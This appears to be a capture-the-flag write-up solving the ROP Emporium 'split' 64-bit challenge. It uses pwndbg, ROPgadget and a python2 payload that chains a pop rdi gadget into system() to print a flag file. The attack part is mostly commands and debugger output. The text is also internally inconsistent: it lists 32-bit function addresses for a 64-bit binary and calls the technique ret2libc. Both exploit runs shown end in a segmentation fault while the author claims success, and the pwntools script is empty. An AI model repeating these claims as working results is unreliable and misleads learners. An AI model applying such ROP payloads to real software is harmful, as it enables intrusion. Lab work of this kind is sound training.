ROP Emporium - split (64 bit)

5 minute read

Lets check the file type of the binary using file command,

ra@moni:~/split$ file split
split: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/, for GNU/Linux 3.2.0, BuildID[sha1]=98755e64e1d0c1bff48fccae1dca9ee9e3c609e2, not stripped

It is a 64 bit not stripped binary, so we can view symbols in it

Lets check the security mitigations of this binary,

ra@moni:~/split$ checksec split
[*] '/home/ra/split/split'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Here NX bit is set, so that we cannot perform execution in stack

To bypass NX/ASLR security mitigations, we have to use ROP Techniques

There are some useful strings in the binary, which might acts as argument for system(),

ra@moni:~/split$ strings split | grep bin
/bin/cat flag.txt

Lets check their addresses using rabin2,

ra@moni:~/split$ rabin2 -z split
nth paddr      vaddr      len size section type  string
0   0x000007e8 0x004007e8 21  22   .rodata ascii split by ROP Emporium
1   0x000007fe 0x004007fe 7   8    .rodata ascii x86_64\n
2   0x00000806 0x00400806 8   9    .rodata ascii \nExiting
3   0x00000810 0x00400810 43  44   .rodata ascii Contriving a reason to ask user for data...
4   0x0000083f 0x0040083f 10  11   .rodata ascii Thank you!
5   0x0000084a 0x0040084a 7   8    .rodata ascii /bin/ls
0   0x00001060 0x00601060 17  18   .data   ascii /bin/cat flag.txt

It is noted that /bin/cat flag.txt is inside global variable named usefulString at 0x00601060

pwndbg> x/s 0x00601060
0x601060 <usefulString>:	"/bin/cat flag.txt"

Listing functions from the binary,

pwndbg> info functions

0x08048546  main
0x080485ad  pwnme
0x0804860c  usefulFunction

Here, main() is used to call pwnme() which is the normal flow of the program

But usefulFunction() seems unusual

Disassembling usefulFunction(),

pwndbg> disassemble usefulFunction
Dump of assembler code for function usefulFunction:
   0x0000000000400742 <+0>:	push   rbp
   0x0000000000400743 <+1>:	mov    rbp,rsp
   0x0000000000400746 <+4>:	mov    edi,0x40084a
   0x000000000040074b <+9>:	call   0x400560 <system@plt>
   0x0000000000400750 <+14>:	nop
   0x0000000000400751 <+15>:	pop    rbp
   0x0000000000400752 <+16>:	ret
End of assembler dump.
pwndbg> x/s 0x40084a
0x40084a:	"/bin/ls"

So this function just lists the files from the current directory using system() with the argument of /bin/ls

This function may not be suitable for our ROP Attack

But we can use our own value to pass this program, copying the data from stack into register

This is a simple ret2libc attack

In usefulFunction, the files are listed by

   0x0000000000400746 <+4>:	mov    edi,0x40084a #"/bin/ls"
   0x000000000040074b <+9>:	call   0x400560 <system@plt>

In 64 bit the first argument always get stored in RDI

Now we are going to change our code execution like,

pop rdi ; ret ---> args ---> system()

Lets find the ROP gadgets of rdi,

ra@moni:~/split$ ROPgadget --binary split | grep "pop rdi"
0x00000000004007c3 : pop rdi ; ret

Our pop rdi ; ret is a part of __libc_csu_init

pwndbg> x/3i 0x00000000004007c3
   0x4007c3 <__libc_csu_init+99>:	pop    rdi
   0x4007c4 <__libc_csu_init+100>:	ret
   0x4007c5:	nop

Now lets find our buffer space,

pwndbg> b *0x0000000000400735
Breakpoint 1 at 0x400735
pwndbg> r
Starting program: /home/ra/split/split
split by ROP Emporium

Contriving a reason to ask user for data...

Breakpoint 1, 0x0000000000400735 in pwnme ()
───────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────
 RAX  0x11
 RBX  0x400760 (__libc_csu_init) ◂— push   r15
 RCX  0x7ffff7ece142 (read+18) ◂— cmp    rax, -0x1000 /* 'H=' */
 RDX  0x60
 RDI  0x0
 RSI  0x7fffffffe030 ◂— 'AAAABBBBCCCCDDDD\n'
 R8   0x2
 R9   0x2
 R10  0xfffffffffffff27a
 R11  0x246
 R12  0x4005b0 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe150 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe050 —▸ 0x7fffffffe060 ◂— 0x0
 RSP  0x7fffffffe030 ◂— 'AAAABBBBCCCCDDDD\n'
 RIP  0x400735 (pwnme+77) ◂— mov    edi, 0x40083f
─────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────
  0x400735 <pwnme+77>             mov    edi, 0x40083f
   0x40073a <pwnme+82>             call   puts@plt <puts@plt>

   0x40073f <pwnme+87>             nop
   0x400740 <pwnme+88>             leave
   0x400741 <pwnme+89>             ret

   0x400742 <usefulFunction>       push   rbp
   0x400743 <usefulFunction+1>     mov    rbp, rsp
   0x400746 <usefulFunction+4>     mov    edi, 0x40084a
   0x40074b <usefulFunction+9>     call   system@plt <system@plt>

   0x400750 <usefulFunction+14>    nop
   0x400751 <usefulFunction+15>    pop    rbp
─────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000 rsi rsp 0x7fffffffe030 ◂— 'AAAABBBBCCCCDDDD\n'
01:0008         0x7fffffffe038 ◂— 'CCCCDDDD\n'
02:0010         0x7fffffffe040 ◂— 0xa /* '\n' */
03:0018         0x7fffffffe048 ◂— 0x0
04:0020 rbp     0x7fffffffe050 —▸ 0x7fffffffe060 ◂— 0x0
05:0028         0x7fffffffe058 —▸ 0x4006d7 (main+64) ◂— mov    edi, 0x400806
06:0030         0x7fffffffe060 ◂— 0x0
07:0038         0x7fffffffe068 —▸ 0x7ffff7de40b3 (__libc_start_main+243) ◂— mov    edi, eax
───────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────
  f 0         0x400735 pwnme+77
   f 1         0x4006d7 main+64
   f 2   0x7ffff7de40b3 __libc_start_main+243

Lets view the base pointer and stack values,

pwndbg> x/2wx $rbp
0x7fffffffe050:	0xffffe060	0x00007fff
pwndbg> x/30wx $rsp
0x7fffffffe030:	0x41414141	0x42424242	0x43434343	0x44444444
0x7fffffffe040:	0x0000000a	0x00000000	0x00000000	0x00000000
0x7fffffffe050:	0xffffe060	0x00007fff	0x004006d7	0x00000000
0x7fffffffe060:	0x00000000	0x00000000	0xf7de40b3	0x00007fff
0x7fffffffe070:	0xf7ffc620	0x00007fff	0xffffe158	0x00007fff
0x7fffffffe080:	0x00000000	0x00000001	0x00400697	0x00000000
0x7fffffffe090:	0x00400760	0x00000000	0x476a4495	0x0e66cfe5
0x7fffffffe0a0:	0x004005b0	0x00000000

So our base pointer is at 0x7fffffffe050 and our buffer begins at 0x7fffffffe030

>>> print(0x7fffffffe050-0x7fffffffe030)

The buffer space is 32 bytes

Now we have to pass 40 bytes (32+8) of junk to reach Instruction Pointer

Our payload can be crafted as,

payload = 40 bytes of junk + Addr of POP RDI gadget + Addr of argument + Call Addr of system()

Address of POP RDI gadget = 0x00000000004007c3

Address of argument data (/bin/cat flag.txt) = 0x00601060

Address of call inst to system() = 0x000000000040074b

Lets try our exploit,

ra@moni:~/split$ python2 -c "print('A'*40+'\xc3\x07\x40\x00\x00\x00\x00\x00'+'\x60\x10\x60\x00\x00\x00\x00\x00'+'\x4b\x07\x40\x00\x00\x00\x00\x00')" | ./split
split by ROP Emporium

Contriving a reason to ask user for data...
> Thank you!
Segmentation fault (core dumped)

Lets try our exploit from pwntools,

ra@moni:~/split$ cat
from pwn import *

ra@moni:~/split$ python2 | ./split
split by ROP Emporium

Contriving a reason to ask user for data...
> Thank you!
Segmentation fault (core dumped)

Done! we have completed split (64 bit)